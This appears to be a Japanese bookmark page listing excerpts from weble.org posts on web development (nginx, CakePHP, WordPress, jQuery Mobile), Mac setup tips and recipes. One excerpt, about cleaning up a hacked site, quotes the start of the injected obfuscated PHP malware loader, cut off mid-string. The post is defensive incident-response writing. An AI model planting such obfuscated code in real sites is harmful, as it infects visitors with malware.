タグ

ブックマーク / weble.org (35)

  • さくらの VPS に nginx を入れてリバースプロキシ設定するまでの作業メモ(検証用)

    さくらの VPS で CentOS 6.2 に nginx を入れてサーバーを作ります。今まで Apache を使ったサーバーしか作ったことがなくて、nginx も Apache と合わせて稼働させていたレベルだったので、今回初めて nginx オンリーのサーバーの構築です。ただ、この作業メモも検証用サーバーの域を脱しないので、後日番で使えるレベルの記事を公開します。一応勉強した項目に参考サイトを細かく記載しているので、自分用に公開しておきます。 この記事で構築する環境 今回は下記のような WordPress や CakePHP で作った自作サイトなど様々な構造の Web サイトをしっかりと運営できるようなサーバーを構築していきます。 WordPress ベースの Web サイトをリバースプロキシで高速表示 CakePHP などで作ったキャッシュを必要としないサイトでも動かす 様々なライ

  • 簡単にできる Mac OS X Lion に PHP + MySQL の開発環境を構築する方法

    以前開発環境を構築した際に記事を書きましたが、以前より分かりやすく、改めて作業ログを残しておきます。Mac の開発環境構築に不慣れな方は参考にしてください。 MacPHP が使えるようにする Web 共有を有効にする Mac のシステム環境設定の共有から、Web 共有を有効にします。これだけで自分の IP アドレスにアクセスすれば It Works が表示されます。この時点では Web ページを表示できるだけで、PHP などは動作しません。 PHP が使えるようにする ターミナルを起動して下記のコマンドで httpd.conf ファイルの編集を開始します。編集に vi を使用していますが、他のエディタが良い場合はそのエディタで編集してください。

  • はじめてのスマートフォンサイト制作「jQuery Mobile を使った制作編」

    前回の基礎知識や開発環境の準備編で、基的な勉強や開発環境は揃えましたので、記事では具体的な制作に入っていきます。 どんな風に作るのか ハイクオリティで広範囲のプラットフォームに対応したスマートフォンサイトを作りあげるにあたって jQuery Mobile を使用していきます。また URL は統一して(スマホサイトを別 URL で作成せず)スマホアクセス時にスマホ用の出力に最適化します。そのため、サイトの構造に変更は加えませんが、全てのページにおいてスマホ用のレイアウトを出力できるように変更を加えていきます。 jQeury Mobile について スマホサイトの作成に jQuery Mobile について学んでいきます。今まで jQuery Mobile を使用したことがありませんので、今回一から全て勉強しました。といっても、基的なことは全て下記サイトにありますので、jQuery Mo

  • はじめてのスマートフォンサイト制作「基礎知識や開発環境の準備編」

    今までスマホサイトを制作したことが無いので、サイト設計から基礎知識、デザインの知識など一から全て勉強していきますので、その点についてまとめて行きます。 用語整理 まず初めてに新しい用語などについて整理していきます。用語については自信ある方はこの項目は飛ばして下さい。 「スマホ」と「スマフォ」どっちが一般的なのか 今まで「スマホ」だと思っていたのですが、最近「スマフォ」と呼称する人を見かけるようになりました。確かに「スマートフォン」を略すなら「スマフォ」の方が正しそうな気がしますが、Google で調べた所検索ボリュームの数が「スマホ」の方が圧倒的に多いので、私は略す場合は「スマホ」で通していくことにします。 フィーチャーフォン (ガラパゴスケータイ) 日独自の進化を遂げた携帯をガラパゴス携帯、略してガラケーと呼びます。個人的にはガラケーという言葉を使っていたのですが、ガラケーではなく「フ

  • 60個以上のハイクオリティーなグラフィティフォントまとめ

    下記の記事でグラフィティフォントのまとめが掲載されています。グラフィティとは、エアロゾールアートともいい、スプレーやフェルトペンなどを使い、壁などに描かれた落書きのこと言うそうです。 60+ High-Quality Graffiti Fonts for Your Design Works 凄くたくさんあったので、以下の画像にまとめてみました。一括でまとめてチェックしてみたい方はこちらの画像を活用してください。 まとめられているフォント名です。 Amsterdam Grafitti, Nose Grind, Street Soul, Wrk Tag, Ghang, Nice Tag, Fucking Tag, Forty Script, Judas, Cap Construct, Plant Benson, Aaaiight, Turntablz, Searfont, Scrawl, Do

  • Mac の無線 LAN のチャンネル干渉状況を調べる方法

    /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s 私の場合は4番のみが開いていたので、そこに設定しましたが、思ったより速度は向上しませんでした。WiMAX 安いですが速度があまり出ないのが難点ですね。アンテナ作るのも面倒です。アンテナ売ってたら良いのですが。

  • Android SDK を Mac にインストールする方法

    iOS シュミレータの Android 版のようなものは無いかと探していたら、Android SDK というのがそれに当たるとのことなので、さっそくインストールしてみることにしました。ファイルに関しては以下のページから手に入れることができます。 Android SDK | Android Developers インストール方法 ファイルをダウンロードしてきたら解凍をして、フォルダをそのままアプリケーションフォルダに入れ、tools/android をダブルクリックして実行すれば Android SDK Manager が起動し処理が開始します。 するとこういうウィンドウが起動しますので、デフォルトのチェックのままインストールを開始します。ちなみに参考サイトで Android SDK Platform-tools にチェックをとのことでしたので、デフォルトではチェックが入っていませんでしたが

  • CakePHP 2.1 で jQuery Mobile を使ってスマートフォンサイトを作る方法

    if($this->RequestHandler->isMobile()) { echo 'mobile website!'; } ただし、RequestHandlerComponent::is_Mobile() では日の携帯全てに対応しているわけではないため、日の携帯にもある程度対応している Ktai Library for CakePHP というものを使用すると良いそうですが、今回は iPhoneAndroid にスマホ用ページを表示できれば良いので、デフォルトの判定で実装していきます。 CakePHP でモバイルテーマを作成する AppController にて以下の記述をすることで、モバイルでアクセスした場合にテーマ Mobile を宣言します。

  • 電子レンジで5分で作れる激うま「玉ねぎのピリ辛醤油マヨネーズ」のレシピ

    余った玉ねぎで簡単に作れて美味しいです。たまねぎの甘みと醤油とマヨネーズの酸味コラボレーションがたまらないです。晩ごはんのおかずに一品プラスで追加したり、ビールのおつまみに最適です。玉ねぎ1つで作れるので家計にも優しいです。 具体的なアイディアは Facebook の友達から訓えて頂いて、ピリ辛部分などについては下記のページを参考にさせて頂きました。記事では、これらの情報をまとめて分かりやすく作り方を解説したいと思います。 新玉ねぎ丸ごとレンジでチン!:いつも元気に ごちそうさま(* ̄- ̄)人:So-netブログ 材料 玉ねぎ 1玉 醤油 お好み マヨネーズ お好み 一味唐辛子 一味唐辛子を抜いても美味しいので、辛いのが苦手な人は一味唐辛子は入れなくても構いません。その場合は「ピリ辛醤油マヨネーズ」ではなく「醤油マヨネーズ」ですね。 作り方 玉ねぎを電子レンジで加熱する 玉ねぎの皮を剥い

  • 誰でも簡単に作れる激うま「大根と鶏肉の煮物」のレシピ

    味が染み込んだ美味しい鶏肉と大根のコラボレーションが美味しかったです。レシピは以下を参考にしましたが、記事では全く同じ方法ではなく、ショウガを加えたりしているので、その辺のメモがてら記事にさせて頂きます。料理が苦手な人向けに書いていくので、普段料理していない方はこちらを参考にしてください。 30分で出来る料理レシピ 鶏肉と大根の煮物 材料 3分を作ります。 大根 (適当) 鶏肉 (適当) だし汁 600cc 砂糖 大さじ2 みりん 大さじ2 料理酒 大さじ2 醤油 大さじ3 しょうがチューブ 大さじ1 ゆでたまご3つ 適当の部分がわからない人は、写真と同じくらいの大根や鶏肉の3倍(写真は一分)を切り出せばOKです。基的に大根と鶏肉はお好みの量で良いですが、だし汁に浸る程度を限度に調節してください。分からないことはコメント欄で質問してください。 調理 ゆでたまご作成 沸騰したお湯に卵

  • WordPress の投稿の全てのデータを取得する方法

    WordPress の投稿の全てのデータを取得する方法を紹介します。この記事では投稿の全てのデータの取得についてで、添付ファイル(画像ファイルなど)などの投稿に関連するデータまでは取り出しません。 $post の中に全てがある 投稿の著者 ID が欲しいとか、投稿のコメント欄はどうなっているかなどの細かい情報は大抵 $post の中に入っています。試しに $post を print_r() などしてみるといろんなデータが出て来るのが分かります。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 stdClass Object ( [ID] => 1 [post_author] => 1 [post_date] => 2012-04-10 01:35:03 [post_dat

  • 未読数や新着記事数などを表現出来るフリーでハイクオリティーなツールチップ Mini tooltips

    未読数や新着記事数などを表現出来るハイクオリティーなツールチップ Mini tooltips がとても綺麗だったので紹介します。 Mini tooltips free PSD file 新着メール、新しい記事の投稿数、Twitter の新着などの数を表示する際などに活用できそうです。

  • WordPress で簡単にユーザーに独自のアバターを設定できるようにするプラグイン

    WordPressアバターと言えば Gravatar を使うのが一般的ですが、Gravatar ではなく WordPress そのものにアバターをアップロードして設定することができるプラグイン Simple Local Avatars が便利です。 プラグインを有効化すると画像のようにアバターをアップロードできるようになります。画像は投稿に画像をアップロードする時と同じように、通常の画像アップロードディレクトリに格納されます。

  • WordPress で管理画面の URL を取得する方法

    WordPress で管理画面の URL を取得する際は以下のタグを使います。1echo get_admin_url();この件については下記のページが参考になりました。WordPress › Support » how to get admin url? get_site_url?

  • Photoshop でプラグインを使って favicon を作成する方法

    Photoshop でファビコンを作成する方法について書いていきます。Photoshop でファビコンを作成するにはプラグインが必要です。下記のサイトでプラグインがダウンロードできますので、こちらからダウンロードして実際に Photoshop でファビコンを作成するまでの手順を紹介します。 Telegraphics – Free plugins for Photoshop & Illustrator…and other software プラグインをインストールする ダウンロード まず下記のページにアクセスして自分の環境にあったプラグインをダウンロードします。下記のページは日語です。私の環境では ICOFormat-2.0f1-CS5.dmg というファイルをダウンロードしました。 Create a favicon for your web site with this free Pho

  • WordPress の投稿で全てのカスタムフィールドの値(隠し値含めて)を取得する方法

    Array ( [_edit_last] => Array ( [0] => 1 ) [_edit_lock] => Array ( [0] => 1334031706:1 ) [test] => Array ( [0] => これはテストフィールドです。 ) [test2] => Array ( [0] => これはテストフィールド2です。 [1] => これはテストフィールド2ですの2。 ) ) ちなみにこれは豆知識ですが、カスタムフィールドのキーは _edit_last や _edit_lock のようにアンダーラインを先頭に付けることで、WordPress の管理画面から見えなくすることができます。バックグラウンドで値を保存したい場合は活用しましょう。 蛇足 ちなみに get_post_custom() は以下のようになっていて、結果的には get_post_meta() を呼んで

  • jQuery でフォームを簡単に Ajax に対応させてしまう jQuery Form Plugin が凄く便利

    以下のようなポップアップしたボックス上に Ajax フォームを構築して画面遷移させずに処理させるようなサイトを構築する際に便利です。 このような Ajax で動作するフォームを jQuery Form Plugin を使えば簡単に構築することができたので、具体的な方法を解説させて頂きます。英語で良ければ以下のページに使い方が乗っていますので参考にしましょう。 jQuery Form Plugin Ajax 対応のフォームを作成する方法 即興でフォームを作ってみます。comment.php をフォームのページとして話をすすめます。PHPHTML と JS を理解していないと意味不明になるかもしれないですが、出来る限りの範囲で解説してみます。ちなみに、分かりやすいコードにするために、実際に動作確認せずに必要なコードのみを書いて掲載していますので(PHPの部分まで書くとキリがないので)実際

  • 脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて

    改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn

  • CakePHP 2.0 系で発行された SQL などを確認したりデバッグする方法

    ビューに以下の記述をすると発行した SQL をデバッグレベル2の時に確認することができます。1element('sql_dump'); ?>CakePHP 1.3 と同じ方法となります。CakePHP 1.2 から 1.3 にバージョンアップする手順のまとめ | ウェブル

  • Ubuntu で /usr/local/lib 配下のライブラリが読み込めるようにする方法

    Ubuntu に IPA 辞書のインストールをしようとしたら以下のエラーが発生しました。 mecab: error while loading shared libraries: libmecab.so.1: cannot open shared object file: No such file or directory この件について以下のブログが参考になりました。 ubuntu 7.10にmecab 0.97をインストール – たまに書くメモ ‘libmecab.so.1′は、’/usr/local/lib/libmecab.so.1′にインストールされていますが、ubuntu標準の設定では、’/usr/local/lib/’配下のライブラリが読み込まれないようです。 /etc/ld.co.conf に /usr/local/lib を追加することでライブラリを使えるようにすることが